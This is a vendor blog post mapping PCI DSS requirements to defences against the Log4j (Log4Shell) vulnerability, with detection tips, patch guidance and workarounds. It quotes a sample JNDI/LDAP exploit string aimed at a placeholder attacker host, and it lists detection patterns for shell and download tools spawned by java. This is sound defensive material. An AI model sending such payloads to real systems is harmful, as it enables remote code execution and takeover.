• Skip to primary navigation
  • Skip to main content
  • Skip to footer
ControlCase No Tag LOGO md

ControlCase

IT Certifications, Continuous Compliance and Cybersecurity Services Provider

  • Company
    • About Us
    • Careers
    • Locations
    • Team
  • Industries
    • Business Process Outsourcing
    • Cloud Service Providers
    • Retail
    • Telecom | Entertainment
  • Certifications
    • PCI DSS Certification
    • CSA STAR Certification
    • GDPR Assessment
    • HIPAA Assessment
    • HITRUST Certification
    • ISO 27001 Certification
    • FedRAMP 3PAO Services and NIST 800-53
    • CMMC Compliance: NIST 800-171
    • MARS-E Assessment
    • P2PE Certification
    • PA DSS Certification
    • SOC2 Report
  • Solutions
    • Continuous Compliance Solution
    • One Audit
    • Card Data Discovery Software
    • Data Security Rating
  • Testing
    • Application Reviews
    • Application Security Training
    • Code Reviews
    • Card Data Discovery
    • External Vulnerability Scans
    • Firewall Security Reviews
    • Internal Vulnerability Scans
    • Log Monitoring
    • Penetration Testing
  • Resources
    • Events
    • News
    • Webinars
    • Courses
    • Newsletters
    • Blog
  • Contact Us

Log4j Vulnerability and how to remain PCI DSS Compliant

You are here: Home / Blog / Log4j Vulnerability and how to remain PCI DSS Compliant

The Apache Log4j vulnerability is extremely widespread and can affect enterprise applications. If left unpatched, attackers could use this vulnerability to take over computer systems, applications and devices, and infiltrate enterprise networks. This incident merits involvement at all levels of the organization, including the CEO, CIO, CISO and board of directors. During this uncertainty this blog may help you remain compliant with PCI DSS standard while dealing with Log4j vulnerability.

Log4j vulnerability and mapping of PCI DSS requirements

Following table depicts the PCI DSS requirements and controls to be implemented by customers or reviewed by PCI DSS Qualified Security Assessor (QSA) in order to confirm that the Log4j vulnerability is not affecting the scope of PCI DSS assessment.

PCI DSS Requirement Controls to be implemented/reviewed
Requirement-1 Ensure that all the outgoing traffic from your IT Infrastructure is authorized and going to only known trusted destinations. There is no allow all outgoing rule on your internet firewalls. Restrict access to your resources to known/trusted locations or networks.
Requirement-2 List all the applications in your inventory to find out which of those are using Log4j component. Review the versions of Log4j used and follow the section mitigation section.
Requirement-4 List all the public facing application URL’s and check if any of these applications are using Log4j components and if Log4j found, follow the section mitigation section.
Requirement-5 Log4j is an easily exploitable remote code execution vulnerability and therefore malware distributors are using it wildly to infect systems and networks to install crypto miners, botnets, drop beacons etc. Update the Antivirus software and signatures to ensure it can detect all such known malwares. Review logs for any detections of malware.
Requirement-6 Update all the instances of Log4j applications with the latest versions. Refer to mitigation section. Use WAF to detect the any malicious attacks using Log4j vulnerability.
For AWS
To improve detection and mitigation of risks arising from the Log4j security issue, AWS has updated the rules in the AWS WAF service. Further information can be found on below link:
https://aws.amazon.com/security/security-bulletins/AWS-2021-005/
For Modsecurity WAF – Refer to following link which provides rule for Log4j detection.
Successful exploitation of this vulnerability requires that you’ve ignored several secure coding principles. Data from untrusted sources (i.e., user-controlled input) should generally not be concatenated into log files without sanitization. This is especially true when the data is from an unauthenticated origin, whether human users or other applications. Data flowing into sensitive areas such as databases and logs that may be rendered to others should be subjected to output validation.
Requirement-7 Initiating communication with outside hosts should always be locked down to the bare minimum. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary.
Requirement-8 Enable MFA for all access to all resources to prevent probing using accounts with compromised passwords due to Log4j exploitation.
Requirement-10 SIEM systems must be equipped to detect any logs with strings such as “${jndi: *}”. Monitor all outbound connections made by parent process “java” with child process containing “sh, bash, ksh, tcsh, curl, perl, python, ruby, pho, or wget.”. Search for all the known footprints in the log files of your applications. Manual approach is another best possible approach. You can use GitHub Repository to lists all the commands that you can use to check compressed or non-compressed logs files within your Linux or Windows servers.
Requirement-11 Ensure that vulnerability scanners have plugins/capability to detect this vulnerability. Run the scan to specifically detect this vulnerability. Minimize the lead time from vulnerability discovery to your team becoming aware. Maximize the ability to respond and identify which applications utilize the component. Streamline the ability to recover—quickly patch the affected applications or put compensating controls in place.
Requirement-12 Ensure that incident management is specifically triggered to identify network traffic anomalies where there is abnormal ingress and egress traffic with use of abnormal network ports. Identify devices directly connecting to IPs instead of domains via the proxy. Look for traffic pointing to abnormal data transfers out of the network. Monitor abnormal user agent strings and alert when there is change of user agent by user in the same session.
Alert on all the instances where there is anomalies related to use of PowerShell, presence of Base64 strings in command line execution and ping command on hex encoded IP address.
Conduct vendor risk assessment to identify in-scope vendors that are impacted by the vulnerability and the risks their impacts pose on your organization.
PCI DSS Compliance Requirement Checklist - 2022
Download Now

What is the Log4j vulnerability?

Overview: Log4j is a java library used broadly in enterprise system and web applications. This vulnerability, when exploited, allows the attacker to remotely inject code into services that use this library, with system-level privileges, allowing them to send requests to any application on the server as well as retrieve information about the system itself or, in the worst-case scenario, get full control of the environment by sending a request like this one: ${jndi:ldap://<atttackerhost>:<port>/a}

CVEs: CVE-2021-44228 and CVE-2021-45046

AKA: Log4Shell, Log4Jam

Cause: It is caused by a bug in the Log4j library that can allow attackers to gain control over log messages to execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.

Affected Version: From Log4j 2.0-beta9 to 2.15.1

Impact: Once weaponized it could allow a complete takeover of vulnerable systems from a remote and unauthenticated attacker.

How does the Log4Shell vulnerability work?

The vulnerability specifically exists in the Java Naming and Directory Interface (JNDI) implementation and can be triggered using a malformed LDAP request, making it easy for an attacker to retrieve a payload from a remote server and execute it locally. Here are simple steps attacker performs against application running vulnerable version of Log4j:

Log4j_Exploitation_Sequence

How to detect Log4j vulnerability within your network/systems?

Simple method is to search within your IT Infrastructure, looking for mention of “log4j” and “jdk” may return results and be a starting point from which to locate software that may need to be upgraded or have compensating control applied. You can use ControlCase data discovery to a search for “log4j” string from one system into your entire network in centralized manner.
Log4j may also be present in other files as a bundle or as a shaded library. Microsoft advises customers to do an extensive search beyond log4j-core-*.jar files.
You can use ControlCase Vulnerability Management service to scan your network for existence of Log4j vulnerability.

How to mitigate Log4j vulnerability risk?

Quickest and easiest method is to apply patch of Log4j 2.16.0 or later.

In Log4j 2.12.2 (for Java 7) and 2.16.0 (for Java 8 or later) the message lookups feature has been completely removed. In addition, JNDI is disabled by default and other default configuration settings are modified.
Remember that there is a message lookup substitution option which can be enabled/disabled in Log4j 2.15.0, and this behaviour has been disabled by default in 2.16.0. From version 2.16.0, this functionality has been completely removed. Therefore, upgrade Apache Log4j to 2.16.0 or later (logging.apache.org).

What are the workarounds/compensating controls to mitigate risk of Log4j Vulnerability?

Following workarounds can be used as compensating controls if you are not able to apply complete security update for all releases of Log4j 2.x prior to 2.16.0. An application restart will be required for these changes to take effect

      1. Prevent the JndiLookup.class file from being loaded in the application’s classpath.
        Customers can do this by deleting the class from affected JAR files. For example:
        zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
      2. For Log4j versions 2.10 to 2.14.1, disable message lookup. To disable the vulnerable feature, change log4j2.formatMsgNoLookups to be set to ‘true’. Ensure this parameter is configured in the start-up scripts of the Java Virtual Machine:
        -Dlog4j2.formatMsgNoLookups=true.
      3. Alternatively, customers using Log4j 2.10 to 2.14.1 may set the LOG4J_FORMAT_MSG_NO_LOOKUPS=” true” environment variable to force this change.
      4. Kubernetes administrators may use “kubectl set env” to set the LOG4J_FORMAT_MSG_NO_LOOKUPS=” true” environment variable to apply the mitigation across Kubernetes clusters where the Java applications are running Log4j 2.10 to 2.14.1, effectively reflecting on all pods and containers automatically.
Contact Us
Satya Rane
ControlCase, COO
PCI QSA, P2PE, CISSP, CEH, ASV, 3DS QSA

Related Blog

Why PCI DSS 4.0 Should Be on Your Radar
With the release of PCI v4.0, the countdown has started for organizations already PCI DSS Certified to transition from PCI DSS v3.2.1 to the new PCI DSS v4.0 standard. With the timelines of one year to prepare for v4.0 and two years to fully ready for v4.0 future dated requirements, it is time to assess readiness for PCI DSS v4.0 and establish a detailed plan to meet the requirements and timelines.
PCI DSS v4.0 | Webinar
Deep Dive into notable changes: Promote Security as a Continuous Process Increased Flexibility and Customized Approach Increased Alignment between PCI ROC and PCI SAQ Keep up with the security needs of the Payment Industry and landscape (such as MFA/phishing, etc.)
Seminario Web PCI DSS v4.0
Los temas por tocar serían: Cambios incluidos en PCI DSS v4.0 Cambios críticos de PCI DSS v3.2.1 a v4.0 Cambios metodológicos de PCI DSS v3.2.1 a v4.0 Nuevos requerimientos que podrían necesitar un mayor esfuerzo en la implementación Desde la perspectiva de Latam
Aide-Mémoire PCI DSS v4.0
La norme de sécurité des données PCI (PCI DSS) a été établie en 2004 par les principaux émetteurs de cartes de paiement. Elle est maintenue par le Conseil des normes de sécurité PCI. Il fournit des exigences opérationnelles et techniques pour protéger les données des titulaires de cartes.
PCI DSS 4.0
Hosted by ControlCase and the PCI Security Standards Council, this 45-minute webinar will cover: History of PCI DSS (including current version 3.2) PCI DSS v4.0 High-Level Changes PCI DSS v4.0 Timeline
PCI DSS v4.0
The goals for PCI DSS v4.0 are to continue to meet the security needs of the payment industry, to promote security as a continuous process, to add flexibility for different methodologies, and to enhance validation methods.

  • Facebook
  • LinkedIn
  • Twitter
  • YouTube

Footer

Connect

Corporate Headquarters
12015 Lee Jackson Memorial Hwy, Suite 520, Fairfax, VA 22033

Send us a message

Call Us

About Us

ControlCase is a United States based company, headquartered in Fairfax, Virginia with locations in North America, Europe, Latin America, Asia/Pacific and the Middle East to serve our clients globally.

Quick Links

  • Company
  • Team
  • Careers
  • Locations
  • Covid-19 Notice

Certifications, Assessments and Reports

  • PCI DSS Certification
  • CSA STAR Certification
  • GDPR Assessment
  • HIPAA Assessment
  • HITRUST Certification
  • ISO 27001 Certification
  • FedRAMP and 3PAO Services
  • MARS-E Assessment
  • P2PE Certification
  • PA DSS Certification
  • SOC2 Report

© ControlCase LLC 2023 | Privacy Policy | Impartiality Statement | Legal Notices